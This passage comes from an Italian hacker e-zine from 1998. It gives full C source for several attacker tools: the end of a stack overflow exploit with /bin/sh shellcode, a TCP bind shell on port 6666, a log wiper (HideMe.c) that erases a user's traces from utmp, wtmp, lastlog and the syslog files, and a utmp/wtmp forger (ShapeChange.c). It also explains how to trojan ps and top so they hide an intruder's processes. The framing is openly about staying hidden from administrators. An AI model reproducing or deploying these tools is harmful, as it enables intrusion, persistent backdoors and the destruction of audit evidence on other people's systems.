il caso di specificare almeno 612, se non 700 ... */ #define DEFAULT_OFFSET 150 /* Questo parametro invece ci indica la 'distanza' (traduzione alla * manuale IBM del 1981 ;)) che il buffer, che intendiamo mandare in * overflow, ha dall'inizio dello stack. Questo parametro, come il * prossimo, puo' essere specificato sulla linea di comando */ #define NOP 0x90 /* NOP da luogo ad una NULL OPeration .. su processori x86 Intel * il codice esadecimale e' 0x90 . In sostanza ci permette di far * 'scorrere' (non e' proprio cosi') il puntatore all'istruzione verso il * nostro codice segreto (per il programma da sploitare), solitamente un * semplice /bin/sh */ /* OK. Questo e' il famoso shellcode. Chiamatelo come volete. * CodiceMacchina. Uovo con Sorpresa. Smanettata nel Buffer. StupraSuid. * Comunque rimarra' sempre la rappresentazione esadecimale delle istruzioni * in assembler che su un sistema Linux servono per eseguire /bin/sh. O * meglio per eseguire la chiamata di sistema execve con primo parametro * un array di puntatori che contiene /bin/sh ed un NULL. Oltre ai * necessari aggiustamenti di flusso nello stack per fargli eseguire proprio * /bin/sh. Debitamente liberata di ogni x00 per evitare interruzioni * nella stringa che dobbiamo 'gonfiare' ... per maggiori info riguardatevi * l'articolo di Aleph1 .... dove lo trovate ? su altavista ! :) */ char shellcode [] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Questa sciocca get_sp che sembra tessere un incantesimo di enorme * potenza per via di quella stringa astrusa :) ci fornisce l'inizio dello * stack, il puntatore allo stack. Si, esp ed eax sono registri su Intel. * esp si occupa del top dello stack (variabile a causa di PUSH e POP), * eax, come altri, invece si occupa di tenerci da parte dei valori */ unsigned long get_sp(void) { __asm__("mov %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; /* * allochiamo dinamicamente la memoria necessaria per il nostro * buffer che conterra' tra l'altro, il nostro shellcode. */ if (!(buff = malloc(bsize))) { printf("Impossibile allocare la memoria richiesta\n"); exit(0); } /* * Ora ci serve l'indirizzo del puntatore allo Stack * Ce lo pigliamo proprio con quel get_sp suddetto */ addr = get_sp() - offset; printf("Stiamo usando l'indirizzo: 0x%x\n",addr); /* * Riempiamo il nostro buffer proprio con quell'indirizzo * il passo di 4 segue le dimensioni delle parole (in questo * caso per l'appunto di 4 byte) */ ptr = buff; addr_ptr = (long *)ptr; for(i = 0; i #include #include #include #include #include #include #define LISTENQ 1 /* listen() backlog */ int main (int argc, char *argv[]) { int lsocket ; /* socket per listen() */ int csocket ; /* socket per connect() */ struct sockaddr_in laddr ; /* struttura IPv4 del demone */ struct sockaddr_in caddr ; /* struttura IPv4 del client */ socklen_t len ; /* dimensioni della struttura IPv4 */ pid_t pid ; /* tipo pid per il fork() */ /* apriamo il server con socket(), bind() e listen() */ if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket error"); return(10); } len = sizeof(laddr) ; memset(&laddr, 0, len) ; laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; laddr.sin_family = AF_INET ; laddr.sin_port = htons(6666) ; /* apriamo sulla porta 6666 */ if((bind(lsocket, (const struct sockaddr *)&laddr, len))) { perror("bind error"); return(10); } if(listen(lsocket, LISTENQ)) { perror("listen error"); return(10); } /* ora TCP se ne va nel paese dei demoni e si becca come * parente init, pronto a seccarlo alla conclusione */ if ((pid=fork()) == -1) { perror("Fork #1"); return(20); } if (pid > 0) exit(0); /* parente */ setsid() ; /* figlio */ /* ora accettiamo UNA connessione */ len = sizeof(caddr); if((csocket=accept(lsocket, &caddr, &len)) < 0) { perror("socket accept"); abort(); } dup2(csocket,0); dup2(csocket,1); dup2(csocket,2); system("/bin/sh -i"); exit(0); } --------------------------- taglia qui------------------------------------- A cosa prestare attenzione?! Beh. Prima di tutto, dopo aver chiamato bind() sulla porta 6666, non possiamo immediatamente riaprire un altro processo sulla stessa porta, ma dobbiamo aspettare che passi il 2MSL o Maximum Segment Lifetime (il suo doppio per esattezza), ovvero il massimo tempo che un segmento possa esistere nella rete senza essere utilizzato prima di essere scartato. E corrisponde al tempo dello stato TIME_WAIT. Seconda cosa: system(3) puo' eseguire ovviamente anche altri programmi. Non serve vi ricordi quella famosa fantasia di cui abbiamo parlato prima. Altri la chiamano paranoia, ma comunque :) ... Terzo: NETSTAT vi vede ovviamente in quanto TCP e' orientato alla connessione e mantiene le coppie del socket (host locale.porta <-> host remoto.porta) connesse. Anche se non scrivete nulla nella shell sulla porta 6666 sarete ugualmente segnati come connessi. Se volete saperne di piu' sui protocolli TCP/IP il libro bibbia dal punto di vista dei coder e' sicuramente TCP/IP Illustrated Vol.1 di R.W.Stevens .... dovendo scegliere tra una cena costosa e questo libro, comprate il libro. E poi andate a leggerlo in un pub :) O in un take-away cinese .... Questo ovviamente mi ha fatto venire un'idea or ora ... se ho fatto in tempo prima dell'uscita di BFI3 allora ci dev' essere qualche altro mio articolo in giro :))) altrimenti sara' per altri numeri. Ricapitolando questa TCPShell : ------------- Voi ----(1)------> | inetd |--- | | | | | | | (2) | | | | | -------(3)--------|-----> 6666|<-- |------------ PORCA! Che schifo di diagramma ... ora capisco perche' non programmo Pics e non ho mai avuto bei voti in disegno tecnico :))) Vabbe' va .... Ok Ok .... anche questo e' concluso. Se vi sembrano tutte puttanate e' forse il caso che scriviate anche voi qualcosa o che codiate qualcosa, o che inventiate nuovi metodi e|o similari e ce li facciate sapere .... altrimenti sinceramente non leggetemi e non rompetemi le palle :) Se invece ho sparato incredibili minchiate ed avete le correzioni esatte non aspetto altro che di sentirle. Imparare e' decisamente meglio che credersi cosi' sapienti .... (Lao Fu-Sys) =:) ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÄÄÄÄÄÄÄÄÄ T00LS PER RiMANERE iN 0MáRA S0TT0 UNiX ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍͼ NO(C)1998 fusys A scopo informativo di Apprendimento e Divertimento. Fatene quel che volete. Lo scorso numero vi ho fatto dare un'occhiata ai piu' comuni sistemi di log presenti nel piu' vicino sistema un!x. Certo, qualcuno mi ha fatto notare alcuni eccellenti omissis, vedi il log debug, ma d'altronde a seconda della distro e dei gusti privati di root, ogni file di log puo' avere il nome che preferite, purche' il contenuto vi sia noto. D'altronde un po' di compiti a casa non ha mai fatto male a nessuno (seeee). In questo mini HOWTO :) vediamo di aggiungere qualcosa che possa essere utile per effettivamente scomparire dagli occhi piu' noiosi di root. Come per la manipolazione di **argv del primo numero questo non e' codice supremo. Oltretutto e' commentato ed indentato alla lettura. Vedremo un semplice editor di file di log (ed un suo derivato per gli spiritosoni) e tireremo fuori dal cilindro due ovvieta' fra le tante per nasconderci definitivamente modificando il binario di ps e top. Il primo editor l'ho chiamato con molta fantasia HideMe.c ... se avete gia' capito di cosa si tratta allora non avete bisogno di leggere bfi :) andate e moltiplicatevi. Prima il sorgente allora dopodiche' passiamo ad alcune spiegazioni sul codice. --------------------------cut here---------------------------------------- /* HideMe.c Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure, MailLog. Please check your brain connection before using since it does NO timestamp or CRC checking. Yet. ;) Usage: hideme P.S. check all logs dirs and edit this source accordingly. */ /************************************************************************ * Written by fusys no (C)1998 * * Yes. I coded this. No. I didn't leave this in your system. * * Go check your local nasty user or cracker. * * For Informative and Non-Profit Fun only. * * I was not the first. I won't be the last. AMEN to that. * * YES. It seems today I don't have anything better to do. Go figure. ;) * ************************************************************************/ #include /* as coder@reptile said: */ #include /* includes, what would we do */ #include /* without them ?! */ #include #include #include #include #define UTMP "/var/run/utmp" /* Understand ?! */ #define WTMP "/var/log/wtmp" /* If not, RTFM ... */ #define LASTLOG "/var/log/lastlog" /* Still in the myst ? */ #define MESSAGES "/var/log/messages" /* Please RTFMA ... */ #define SECURE "/var/log/secure" /* What now ?!!? */ #define XFERLOG "/var/log/xferlog" /* Ok I got it for ya: */ #define MAILLOG "/var/log/maillog" /* Consider using W95 ! */ #define MAXBUFF 8*1024 int main (int argc, char *argv[]) { struct utmp ut ; /* (C)1998 PNN */ struct lastlog ll ; /* Pretty New Names */ struct passwd *pass ; int i, size, fin, fout ; FILE *lin ; FILE *lout ; char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ; char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm"} ; char buffer[MAXBUFF] ; char ninja[10] ; /* better isn't it ?! */ char zaibatsu[100] ; /* oh ... shut up ! :) */ char zaibatsu_ip[17] ; if (argc!=4) { fprintf(stderr, "\nHideMe\n") ; fprintf(stderr, "Usage: %s \n\n", argv[0]) ; exit () ; } /*************************** * OK Let's start with UTMP * ***************************/ size = sizeof(ut) ; strcpy (ninja, argv[1]) ; fin = open (UTMP, O_RDWR) ; if (fin < 0) { fprintf(stderr, "\nUh ? utmp target not locked. Getting outta here.\n") ; close (fin) ; exit () ; } else { while (read (fin, &ut, size) == size) { if (!strncmp(ut.ut_user, ninja, strlen(ninja))) { memset(&ut, 0, size) ; lseek(fin, -1*size, SEEK_CUR) ; write (fin, &ut, size) ; } } close (fin) ; printf("\nutmp target processed.") ; } /*************************** * OK Let's go on with WTMP * ***************************/ strcpy (zaibatsu, argv[2]) ; strcpy(zaibatsu_ip, argv[3]) ; fin = open(WTMP, O_RDONLY) ; if (fin < 0) { fprintf(stderr, "\nUh? wtmp target not locked. Getting outta here.\n") ; close (fin) ; exit () ; } fout = open("wtmp.hm", O_WRONLY|O_CREAT) ; if (fout < 0) { fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ; close (fout) ; exit () ; } else { while (read (fin, &ut, size) == size) { if ( (!strcmp(ut.ut_user, ninja)) || (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) { /* let it go into oblivion */ ; } else write (fout, &ut, size) ; } close (fin) ; close (fout) ; if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) && (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) { fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ; } system("/bin/chmod 644 /var/log/wtmp") ; printf("\nwtmp target processed.") ; } /*************************** * OK Let's look at LASTLOG * ***************************/ size = sizeof(ll) ; fin = open(LASTLOG, O_RDWR) ; if (fin < 0) { fprintf(stderr, "\nUh? lastlog target not locked. Getting outta here.\n") ; close (fin) ; exit () ; } else { pass = getpwnam(ninja) ; lseek(fin, size*pass->pw_uid, SEEK_SET) ; read(fin, &ll, size) ; ll.ll_time = 0 ; strncpy (ll.ll_line, " ", 5) ; strcpy (ll.ll_host, " ") ; lseek(fin, size*pass->pw_uid, SEEK_SET) ; write(fin, &ll, size) ; close (fin) ; printf("\nlastlog target processed.\n") ; } /*************************** * OK moving to /var .... * ***************************/ for (i=0;i<4;i++) { printf("Processing %s\t", varlogs[i]) ; lin = fopen (varlogs[i], "r") ; if (lin == 0) { fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ; fclose (lin) ; break ; } lout = fopen (newlogs[i], "w") ; if (lout == 0) { fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") ; fclose (lout) ; break ; } else { while (fgets(buffer, MAXBUFF, lin) != NULL) { if ((!strstr(buffer, ninja)) && (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) { fputs(buffer, lout) ; } } } fclose (lin) ; fclose (lout) ; printf(" DONE.\n") ; } system ("mv messages.hm /var/log/messages"); system ("mv secure.hm /var/log/secure"); system ("mv xferlog.hm /var/log/xferlog"); system ("mv maillog.hm /var/log/maillog"); exit () ; } --------------------------cut here---------------------------------------- Prima risposta alla prima domanda: "Perche' i commenti in inglese ?" Poiche' non mi fido che non ci sia nessuno che lasci il sorgente in giro, almeno vediamo di sviare i sospetti dai poco anglofoni italiani :) Secondo: "Questa roba non e' vecchia?!" Certo che lo e' .... i file di log non sono un'invenzione di bfi ne' dell' anno scorso. Ed il loro formato non e' poi cambiato molto. Questa e' una stesura pulita di altri 'antilogger'. Terzo: "Non posso usare utclean al posto di questo?" Certo che potete, solo modificate il codice che ivi si occupa di lastlog dal momento che e' codato apposta per cancellarlo solo a root.... almeno nelle distribuzioni che ho visto in giro. Quindi se lo lanciate u+s root e volete cancellare dai log ciccio, cancellerete cmq il lastlog di root e NON di ciccio. Quindi imparate qui come si faccia e modificatevi utclean.c Ora zitti. Potete anche saltarlo questo articolo. :) Lasciamo perdere i define. Mi sono espresso gia' nel sorgente su chi non capisce di cosa si tratti. Nello specifico rileggetevi il mio articolo su bfi2, oppure un bel manuale un!x, oppure svegliatevi. :) All'inizio di main() settiamo le variabili che ci interessano. Le piu' importanti sono forse le strutture ut, ll e *pass che ci permettono di scremare dai log il nostro nome ... (non loro, ma grazie ai dati in esse contenuti). strcpy (ninja, argv[1]) ; fin = open (UTMP, O_RDWR) ; qui copiamo il nome dell'utente da nascondere nella variabile ninja e poi apriamo il file utmp. Se piu' avanti nella lettura binaria di utmp, troviamo che il nome utente nella struttura ut e' uguale alla stringa contenuta in ninja: if (!strncmp(ut.ut_user, ninja, strlen(ninja))) allora dobbiamo cancellare le nostre tracce. Nel file utmp le informazioni non sono che strutture utmp consecutive. Quindi se noi riempiamo di 0 la struttura utmp, torniamo all'inizio dell'ultima struttura letta, quella in cui l'utente e' uguale a ninja, e riscriviamo la struttura sul file utmp, avremo una struttura 'nulla' ed il nostro nome sara' scomparso dal file di log utmp: memset(&ut, 0, size) ; lseek(fin, -1*size, SEEK_CUR) ; write (fin, &ut, size) ; Dopo utmp, passiamo a wtmp. Copiamo il nome host da epurare, ed il suo IP correlato. Questo per evitare di dover inserire delle chiamate di conversione degli indirizzi (vedi l'articolo in bfi2 di LordFelix) e per non dover affrontare il caso di sistemi con IP multipli mappati su uno stesso canonical name (con un char *h_addr_list[] multiplo) .... strcpy (zaibatsu, argv[2]) ; strcpy(zaibatsu_ip, argv[3]) ; open(WTMP, O_RDONLY) ; Apriamo anche un altro file che chiamiamo wtmp.hm nella dir corrente, per effettuare poi la sovrascrittura dell'originale con la nostra copia adulterata. Questo proprio come in utclean.c ... Poi mentre siamo in un ciclo di lettura binaria del file all'interno di strutture utmp compariamo vari campi ai nostri nome utente e sistema: if ( (!strcmp(ut.ut_user, ninja)) || (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) Nel caso l'if sia vero non facciamo nulla. O meglio, nel caso invece i dati da nascondere non comparissero nella struttura in esame, solo allora scriveremmo all'interno di wtmp.hm . In questa maniera avremo un wtmp.hm uguale al wtmp normale, se non fosse per alcune omissioni :) Dopodiche' inseriamo wtmp.hm come vero wtmp: system("/bin/mv wtmp.hm /var/log/wtmp") system("/bin/chmod 644 /var/log/wtmp") ; Probabilmente pero' il sistema semplice con cui stiamo modificando utmp e wtmp non e' chiaro ai non programmatori in C ... in pratica con read e write noi prendiamo un certo tot di byte dal file, senza curarci di che byte siano e li inseriamo in una struttura che abbiamo precedentemente dichiarato come di tipo utmp. In questa struttura abbiamo: struct utmp { short ut_type; /* tipo di login */ pid_t ut_pid; /* pid del processo */ char ut_line[UT_LINESIZE]; /* nome del tty - "/dev/" */ char ut_id[2]; /* id o abbrev. ttyname */ time_t ut_time; /* ora del login */ char ut_user[UT_NAMESIZE]; /* user name */ char ut_host[UT_HOSTSIZE]; /* host name per login remoti */ long ut_addr; /* IP del sistema remoto */ }; I campi che maggiormente ci interessano sono ut.ut_user, ut.ut_host e ut.ut_addr (piu' avanti). I byte che leggiamo corrispondono ad una quantita' sizeof(ut) ovvero ne leggiamo tanti quanti ne servono per riempire la struttura ut .... poi compariamo questi campi e riscriviamo o meno le strutture. Per lastlog abbiamo bisogno di una struttura diversa: di tipo lastlog che chiameremo con ruggente e maestosa fantasia ll. Una struttura tipo lastlog contiene i seguenti elementi: struct lastlog { time_t ll_time; /* ultim'ora di login */ char ll_line[UT_LINESIZE]; /* terminale di login */ char ll_host[UT_HOSTSIZE]; /* sistema remoto */ }; Poi apriamo lastlog: open(LASTLOG, O_RDWR) ; Lastlog contiene i dati inseriti in una maniera differente. Le dimensioni del file non variano enormemente come per utmp e wtmp. In effetti sono praticamente sempre le stesse. Questo xche' fin dall'inizio ci sono strutture per ogni login del sistema. Solo che possono esser vuote. E sono allocate nel file a seconda dell' UID dell'utente (ovvero quel numero che compare dopo la password nel file passwd; es: in questo caso ----> fusys:x:501:501:fusys,,,,:/home/fusys:/bin/bash il mio UID e' 501). Quindi usiamo prima di tutto una struttura di tipo passwd per trovare l'UID dell'utente da nascondere, senza doverlo fornire come parametro a hideme. Le strutture passwd contengono: struct passwd { char *pw_name; /* Username. */ char *pw_passwd; /* Password. */ __uid_t pw_uid; /* User ID. */ __gid_t pw_gid; /* Group ID. */ char *pw_gecos; /* Real name. */ char *pw_dir; /* Home directory. */ char *pw_shell; /* Shell program. */ }; In questo caso quindi con una semplice chiamata di sistema possiamo ottenere l'UID dell'utente che ci interessa: pass = getpwnam(ninja) ; ricordiamo che ninja NON e' un nome, ma una stringa che contiene la copia del nome che ci interessa. Poi con lseek ci muoviamo all'interno del file fino al punto dove inizia la struttura che fa capo al nostro utente malandrino :) : lseek(fin, size*pass->pw_uid, SEEK_SET) ; questa parte e' a mio avviso cannata in utclean.c che invece la riporta cosi': lseek(fd, size*getuid(), SEEK_SET); ora ... se io fossi come root e volessi cancellare da lastlog fusys?! Evidentemente non andrebbe bene .... Quindi ho aggiunto una struttura passwd ed una chiamata con getpwnam per poter trovare l'offset giusto nel file. Dopo aver copiato negli elementi di lastlog delle stringhe 'vuote' (meglio bianche) riscriviamo lastlog stesso. Dopo lastlog, hideme implementa una sorta di 'grep -v' per creare dei file di log che NON abbiano alcuna ricorrenza del nome utente, sistema o IP che abbiamo specificato al programma. Questo hideme e' semplicemente rivolto oltre ai tre log binari ai soliti testuali messages, secure, maillog e xferlog. Ogni riga che comprenda una delle tre stringhe calde suddette sparira' da quei log. In questo caso invece di strcmp usiamo strstr per reperire OGNI evenienza delle nostre stringhe: if ((!strstr(buffer, ninja)) && (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) Dopo con delle semplici chiamate a system sovrascriviamo i log normali con i nostri nuovi :) Qui qualcuno avra' gia' capito una cosa: se specificate root come nome da nascondere, QUASI TUTTO MESSAGES verrebbe cancellato ! E se specificate solo parte del vostro IP e questo fa parte degli IP di molti utenti legali UAM! cagata in corso :) Terzo problema: e' CASE SENSITIVE .... non cancellerete ROOT specificando root .... a parte questo HideMe fa quel che deve ed e'semplice da esser capito e modificato ad hoc per altri sistemi e log. Testato sia con libc che con glibc . Ora come bonus :) per chi ha seguito tutto questo senza problemi vi lascio un codicillo per divertirvi a lasciare il root del vostro sistema con gli occhi sgranati. L'idea me l'ha data pIGpEN col suo articolo su come far suicidare root :) .... in pratica un editor di strutture utmp, nel senso che potete variare alcuni vari elementi delle strutture utmp sia nel file utmp che wtmp. Esempio pratico: sono nella mia home. Ho compilato il codice e l'ho reso u+s root .... guardo chi c'e' in linea ... WOW c'e' root ! [fusys@bfi3 fusys]$ w 8:01pm up 1:41, 4 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT fusys tty1 6:20pm 59.00s 0.80s 0.49s pico bfi3 fusys tty2 6:22pm 8:51 0.28s 0.03s pico shc.c fusys tty3 7:21pm 0.00s 0.33s 0.03s w root tty4 7:45pm 15:56 0.25s 0.10s -bash Allora lancio ShapeChange :) [fusys@bfi3 fusys]$ ShapeChange root ~R00T~ tty4 BFI98 Summoning energies .... Ash Nazg durbatuluk, Ash Nazg gimbatul ... Ash Nazg thrakatuluk agh burzum-ishi Krimpatul ! e cambio la login di root e l'host da cui si e' collegato. Ora controllo con w(1) chi c'e' in linea: [fusys@bfi3 fusys]$ w 8:04pm up 1:44, 4 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT fusys tty1 6:20pm 3.00s 0.93s 0.62s pico bfi3 fusys tty2 6:22pm 11:42 0.28s 0.03s pico shc.c fusys tty3 7:21pm 0.00s 0.33s 0.03s w ~R00T~ tty4 BFI98 7:45pm 18:47 0.25s 0.10s -bash et voila' :) Ora vi do il codice, senza tante spiegazioni. Guardatatevelo da soli. Si', lo so che esistono altri utmpeditor, ma io non ne ho mai avuti sotto mano quindi davvero non lo sapevo e ne ho messo su uno in cinque minuti per voi. Possibili migliorie: controllo granulare sul numero di ricorrenze di wtmp da editare, cambio delle strutture passwd per fregare finger, etc etc. --------------------------cut here---------------------------------------- /* ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try this at home. Lets you disguise as another user :) on another terminal, from another host. Sorry, no abilities are attained if you try to disguise as a demigod. Usage: ShapeChange [-w] This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX mantras, supply me with an IRIX wand. :) (or do it yourself). WTMP magic may not be all that clever to perform. High Priests could get suspicious. My Warning Is Bestowed Upon Thoust Soul. ;) Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and usable ! Check your Mojo bags and VooRoot mantras. Or simply cast a +s(pell) to owner root =:) */ /************************************************************************* * Written by fusys no (C)1998 * * Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit * * Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes. * * AMEN. * *************************************************************************/ #include #include #include #include #include #include #define UTMP "/var/run/utmp" /* you're supposed to check these reagents */ #define WTMP "/var/log/wtmp" /* for the spell to function properly */ int main (int argc, char *argv[]) { struct utmp ut ; int size, fin, fout ; int wspell = 0 ; char user[10], newuser[10], line[10], host[100] ; if ((argc!=5) && (argc!=6)) { fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ; fprintf(stderr, "\nUsage: %s [-w]\n\n", argv[0]) ; exit (0) ; } size=sizeof(ut) ; strcpy(user, argv[1]) ; strcpy(newuser, argv[2]) ; strcpy(line, argv[3]) ; strcpy(host, argv[4]) ; if (argv[5]) { if ((argv[5][0]=='-') && (argv[5][1]=='w')) { wspell = 1 ; } else { fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ; exit (0) ; } } fin = open (UTMP, O_RDWR) ; if (fin < 0) { fprintf(stderr, "\nLacking Utmp Reagent.\n") ; exit (0) ; } else { while (read (fin, &ut, size) == size) { if (!strncmp(ut.ut_user, user, strlen(user))) { strcpy(ut.ut_user, newuser) ; strcpy(ut.ut_line, line) ; strcpy(ut.ut_host, host) ; lseek(fin, -1*size, SEEK_CUR) ; write(fin, &ut, size) ; } } close(fin) ; } if (wspell) { fin = open (WTMP, O_RDONLY) ; fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ; if (fin < 0) { fprintf(stderr, "\nLacking Wtmp Reagent.\n") ; close (fin) ; } else if (fout < 0) { fprintf(stderr, "\nHmm. No Space For Gestures.\n") ; close (fout) ; } else { while (read (fin, &ut, size) == size) { if (!strncmp(ut.ut_user, user, strlen(user))) { strcpy(ut.ut_user, newuser) ; strcpy(ut.ut_line, line) ; strcpy(ut.ut_host, host) ; } write (fout, &ut, size) ; } close (fin) ; close (fout) ; } } printf("\nSummoning energies ....") ; printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ; printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ; if (wspell) { system("/bin/mv wtmp.spell /var/log/wtmp") ; system("chmod 644 /var/log/wtmp") ; } exit (0) ; } --------------------------cut here---------------------------------------- Riguardo a finger .... beh, lui controlla le strutture passwd, quindi se non esiste il nome che voi avete scelto come rimpiazzo dell'originale, finger mostrera' No one logged. Se volete bypassare questo potreste far aggiungere temporaneamente al file passwd un account col nome da voi scelto in argv[2] .... oppure cambiare i vari user tra di loro :) Sinceramente l'incantesimo vero di ADeD contiene l'equivalente di un setuid() ma mi sembra sciocco codarlo qui dentro dal momento che per modificare i log dovete gia' esser root e potete quindi usare su senza le password .... Su alcuni vecchi SVr4 e SunOS i file sono 666 e quindi scrivibili da tutti. Non e' un errore di sicurezza, ma un mezzo per permettere l'update dei log anche da pseudoterminali con UID diverso da 0, in tempi in cui non si pensava che nessuno si sarebbe mai messo a controllare i log per avere un resoconto di un baco al sistema ..... Nello scorso articolo avete visto come intervenire sui parametri **argv di un programma per alterarne il contenuto nei confronti di ps e top. Fin qui OK. Pero' se avete usato hideme o similari per scomparire dai log, anche un solo processo a vostro nome potrebbe rendervi visibili ... Ho deciso quindi di prendermi i sorgenti del pacchetto procps1.2.4 fornito come standard nelle nuove distro di Linux (non ricordo se la versione sia cambiata da un anno a questa parte). In questo pacchetto abbiamo sia ps.c che top.c . Ps lo conosciamo tutti .... e' quell'accrocco maledetto che permette di sfogliare /proc e farci vedere tutti i processi del sistema. Provate dal prompt un bel ps waux per vedere cosa succede sul vostro Linux preferito. I parametri di ps variano con la versione di un!x. Ad esempio su Svr4 e Solaris 2.x, i parametri che equivalgono al waux di Linux sono 'el' ... piu' o meno :) A questo proposito sono una manna dal cielo libercoli tipo Unix in a NutShell di O'Reilly (la vecchia versione si trova a 23.000 lire per 240 pagine circa di simil pagine man. Della stessa serie ci sono anche per Linux e WindowsNT ... i prezzi variano a seconda della rabbinaggine dell'importatore: sono solo in inglese). Tornando a ps, e' possibile aggiungere due sole righe al sorgente per far scomparire tutti i processi a nostro nome, senza aumentare le dimensioni del binario (testato su RedHat 4.2 e 5.0): un semplice #define BANISHED 501 per tenere a mente il proprio UID (vi ricordate, quello e' il mio 501 della linea di passwd di cui sopra) ... dopodiche' basta dire al programma di checkare l'uid del processo contro BANISHED e di mostrarlo solo se sono differenti. Andiamo, per essere precisi, nella funzione void show_a_proc chiamata all'interno di ps.c e modifichiamola SEMPLICEMENTE e DIRETTAMENTE cosi': /* format a single process for output. */ void show_a_proc(proc_t* p, unsigned maxch) { static char s[2048]; if (p->uid != BANISHED) { /* ###### :) ###### */ if (CL_num_outp) snprintf(p->ttyc, sizeof p->ttyc, "%04.4x", p->tty); (mode[CL_fmt].format)(s, p); if (CL_fmt != PS_V && CL_fmt != PS_M) show_time(s+strlen(s), p); printf("%s", s); show_cmd_env(p->cmd, p->cmdline, p->environ, maxch); } /* fine troyan */ } in questo caso se l'UID del processo in esame, specificato dall'elemento uid della struttura di tipo proc_t in , che contiene molti altri elementi riguardanti parenti, segnali, orari, permessi, ... , non e' uguale al 'nostro' UID definito come BANISHED allora possiamo mostrare il processo. Altrimenti non comparira' affatto nella lista, qualunque siano i parametri passati a ps. Ad esempio, dopo aver usato HideMe e con il ps troyan: [fusys@bfi3 codes]$ w 9:18pm up 2:58, 3 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT ~R00T~ tty4 BFI98 7:45pm 1:32m 0.25s 0.10s -bash [fusys@bfi3 codes]$ ps PID TTY STAT TIME COMMAND [fusys@bfi3 codes]$ fusys esiste come utente del sistema, puo' lanciare programmi ed utilizzare risorse, semplicemente NON compare per quanto riguarda il log utmp e i processi. :) Ovvieta': se invece di definire un UID come BANISHED, definiamo una stringa contenente il nome che abbiamo dato ad un nostro demone che vogliamo usare, ad esempio un nostro demone particolare, potremo comparare con strcmp o strncmp BANISHED a p->cmd ..... dopo aver guardato i sorgenti di ps verranno in mente molti usi simpatici ... ripeto: compilato con glibc il 'nuovo' ps ha le stesse dimensioni di quello pulito. Ricordatevi di strippare il binario dopo la compilazione. Non metto il sorgente di ps, xche' abbisogna di buona parte di procps1.2.4 ... quindi pigliatevi il pacchetto e cambiate la funzione come vi ho mostrato. Ovviamente il fatto che non cambino le dimensioni non vuol dire che non cambino i checksum basati su sum(1) ... [parentesi ... quando dico sum(1), quell' (1) si riferisce al capitolo delle pagine man. Es, per differenziare il file shadow(5), dalle funzioni relative alle chiamate di sistema in shadow(3) ] A questo punto non siamo nei log, e se vogliamo, ogni nostro processo puo' non essere valutato da ps e dai vari script di root che si basino su ps ... eppure potremmo essere ancora visti ... ad esempio con top(1). Top non fa altro che mostrare il carico del sistema ordinando i processi in base al carico che pongono sulle spalle del sistema operativo, in base al tempo macchina, memoria utilizzata, stato di funzionamento e quant'altro. Il funzionamento e' assimilabile a quello di ps, ma usa delle funzioni differenti orientate all'ordinamento dei processi in maniera visibile. Anche qui possiamo agire in alcuni modi, dopo aver visto il sorgente. Quello che vi mostro non e' forse il migliore, in quanto aumenta le dimensioni del binario. Il solito #define BANISHED 501 ci permette di definire la nostra chiave di scrematura dei processi. In questo caso in base all'UID, ma potrebbe essere anche il nome, o magari il path del programma per occultare una nostra dir segreta ... Nella funzione void show_task_info potremmo inserire il solito if poco prima della chiamata a printf per mostrare la linea del processo: riga ~ 972 if (task->uid != BANISHED) { printf("\n%s", tmp2); } Ora top non mostra piu' i processi che fanno capo al nostro utente nascosto. Ma ha un problemino. Oltre alle dimensioni aumentate del binario top continuera' a mostrare il numero di processi attivi in quell'istante. Se i processi sono 10 e 3 sono invisibili a causa del troyan inserito, top presentera' info generali relative alla memoria e CPU, mettendo in mostra il numero di processi attivi = 10; poi pero' ne mostrera', come farebbe ps, solo 7 .... certo, in un sistema con carico di decine e decine, se non centinaia di processi sara' difficile accorgersene .... ma contate che se date il via ad una ricompilazione del kernel (tanto per dire un processo con carico notevole sulla macchina) top mostrera' la presenza dell'elevato carico senza mostrare quale processo renda carica la 